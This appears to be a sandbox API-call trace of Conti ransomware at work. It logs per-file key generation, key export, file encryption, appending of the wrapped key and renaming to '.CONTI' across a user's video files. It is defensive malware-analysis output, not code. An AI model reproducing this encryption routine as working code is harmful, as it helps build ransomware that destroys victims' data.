	[0146.580] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi.CONTI"
	[0146.580] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\gygrj.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\gygrj.avi.conti")) returned 1
	[0146.586] GetProcessHeap () returned 0x1720000
	[0146.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.586] CryptDestroyKey (hKey=0x17de750) returned 1
	[0146.586] GetProcessHeap () returned 0x1720000
	[0146.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1b70 | out: hHeap=0x1720000) returned 1
	[0146.587] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0146.587] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d6bd8 | out: phKey=0x65d6bd8*=0x17de9d0) returned 1
	[0146.587] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6bdc, pdwDataLen=0x587f8ac | out: pbData=0x65d6bdc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0146.587] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\rmb ic- _.swf")) returned 0x20
	[0146.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\rmb ic- _.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0146.589] GetLastError () returned 0x0
	[0146.589] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=62602) returned 1
	[0146.589] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf48a
	[0146.589] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.589] SetEndOfFile (hFile=0x2f0) returned 1
	[0146.589] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.589] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.589] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d6bdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d6bdc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0146.595] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.595] ReadFile (in: hFile=0x2f0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0xf48a, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0xf48a, lpOverlapped=0x0) returned 1
	[0146.597] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xf48a, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xf490) returned 1
	[0146.597] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.597] WriteFile (in: hFile=0x2f0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0xf490, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0xf490, lpOverlapped=0x0) returned 1
	[0146.597] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.597] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d6bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d6bd0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0146.597] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.598] CloseHandle (hObject=0x2f0) returned 1
	[0146.598] GetProcessHeap () returned 0x1720000
	[0146.598] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.598] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf"
	[0146.598] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf.CONTI"
	[0146.598] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\rmb ic- _.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\RmB Ic- _.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\rmb ic- _.swf.conti")) returned 1
	[0146.598] GetProcessHeap () returned 0x1720000
	[0146.598] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.598] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0146.598] GetProcessHeap () returned 0x1720000
	[0146.598] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ded10 | out: hHeap=0x1720000) returned 1
	[0146.598] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0146.598] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d32d0 | out: phKey=0x65d32d0*=0x17de9d0) returned 1
	[0146.598] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d32d4, pdwDataLen=0x587f8ac | out: pbData=0x65d32d4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0146.599] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\vxmjulwtbfm7i.mkv")) returned 0x20
	[0146.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\vxmjulwtbfm7i.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0146.601] GetLastError () returned 0x0
	[0146.601] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=17501) returned 1
	[0146.601] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x445d
	[0146.601] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.601] SetEndOfFile (hFile=0x2f0) returned 1
	[0146.602] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.602] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.602] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d32d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d32d4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0146.605] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.605] ReadFile (in: hFile=0x2f0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x445d, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x445d, lpOverlapped=0x0) returned 1
	[0146.606] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x445d, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x4460) returned 1
	[0146.606] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.606] WriteFile (in: hFile=0x2f0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x4460, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x4460, lpOverlapped=0x0) returned 1
	[0146.606] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.606] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d32c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d32c8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0146.606] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.606] CloseHandle (hObject=0x2f0) returned 1
	[0146.607] GetProcessHeap () returned 0x1720000
	[0146.607] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.612] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv"
	[0146.612] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv.CONTI"
	[0146.612] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\vxmjulwtbfm7i.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\VxMJulWTbFm7I.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\vxmjulwtbfm7i.mkv.conti")) returned 1
	[0146.612] GetProcessHeap () returned 0x1720000
	[0146.612] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.612] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0146.612] GetProcessHeap () returned 0x1720000
	[0146.612] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5638 | out: hHeap=0x1720000) returned 1
	[0146.612] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0146.612] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d5508 | out: phKey=0x65d5508*=0x17de9d0) returned 1
	[0146.612] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d550c, pdwDataLen=0x587f8ac | out: pbData=0x65d550c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0146.613] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\zbvtm7.flv")) returned 0x20
	[0146.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\zbvtm7.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0146.614] GetLastError () returned 0x0
	[0146.614] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=69688) returned 1
	[0146.614] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11038
	[0146.614] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.614] SetEndOfFile (hFile=0x2f0) returned 1
	[0146.614] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.614] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.614] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d550c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d550c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0146.616] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.616] ReadFile (in: hFile=0x2f0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x11038, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x11038, lpOverlapped=0x0) returned 1
	[0146.617] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x11038, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x11040) returned 1
	[0146.617] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.617] WriteFile (in: hFile=0x2f0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x11040, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x11040, lpOverlapped=0x0) returned 1
	[0146.617] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.617] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d5500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d5500*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0146.617] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.617] CloseHandle (hObject=0x2f0) returned 1
	[0146.618] GetProcessHeap () returned 0x1720000
	[0146.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.618] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv"
	[0146.618] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv.CONTI"
	[0146.618] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\zbvtm7.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\ZBVtM7.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\zbvtm7.flv.conti")) returned 1
	[0146.618] GetProcessHeap () returned 0x1720000
	[0146.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.618] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0146.619] GetProcessHeap () returned 0x1720000
	[0146.619] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1bd8 | out: hHeap=0x1720000) returned 1
	[0146.619] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0146.619] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d74f8 | out: phKey=0x65d74f8*=0x17deb90) returned 1
	[0146.619] CryptExportKey (in: hKey=0x17deb90, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d74fc, pdwDataLen=0x587f8ac | out: pbData=0x65d74fc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0146.619] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\ieo8klylvu.mp4")) returned 0x20
	[0146.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\ieo8klylvu.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0146.620] GetLastError () returned 0x0
	[0146.620] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=17243) returned 1
	[0146.620] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x435b
	[0146.620] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.620] SetEndOfFile (hFile=0x2f0) returned 1
	[0146.620] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.620] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.620] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d74fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d74fc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0148.094] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.094] ReadFile (in: hFile=0x2f0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x435b, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x435b, lpOverlapped=0x0) returned 1
	[0148.095] CryptEncrypt (in: hKey=0x17deb90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x435b, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x4360) returned 1
	[0148.095] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.095] WriteFile (in: hFile=0x2f0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x4360, lpOverlapped=0x0) returned 1
	[0148.095] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.095] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d74f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d74f0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0148.095] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.095] CloseHandle (hObject=0x2f0) returned 1
	[0148.095] GetProcessHeap () returned 0x1720000
	[0148.095] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0148.095] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4") returned="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4"
	[0148.095] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4.CONTI"
	[0148.095] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\ieo8klylvu.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\ieO8KLyLVu.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\ieo8klylvu.mp4.conti")) returned 1
	[0148.096] GetProcessHeap () returned 0x1720000
	[0148.096] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.096] CryptDestroyKey (hKey=0x17deb90) returned 1
	[0148.096] GetProcessHeap () returned 0x1720000
	[0148.096] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181dd90 | out: hHeap=0x1720000) returned 1
	[0148.096] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0148.096] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d0c08 | out: phKey=0x65d0c08*=0x17de790) returned 1
	[0148.096] CryptExportKey (in: hKey=0x17de790, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0c0c, pdwDataLen=0x587f8ac | out: pbData=0x65d0c0c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0148.097] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf")) returned 0x20
	[0148.097] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0148.097] GetLastError () returned 0x0
	[0148.097] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=1495) returned 1
	[0148.098] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5d7
	[0148.098] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.098] SetEndOfFile (hFile=0x2f0) returned 1
	[0148.098] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.098] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
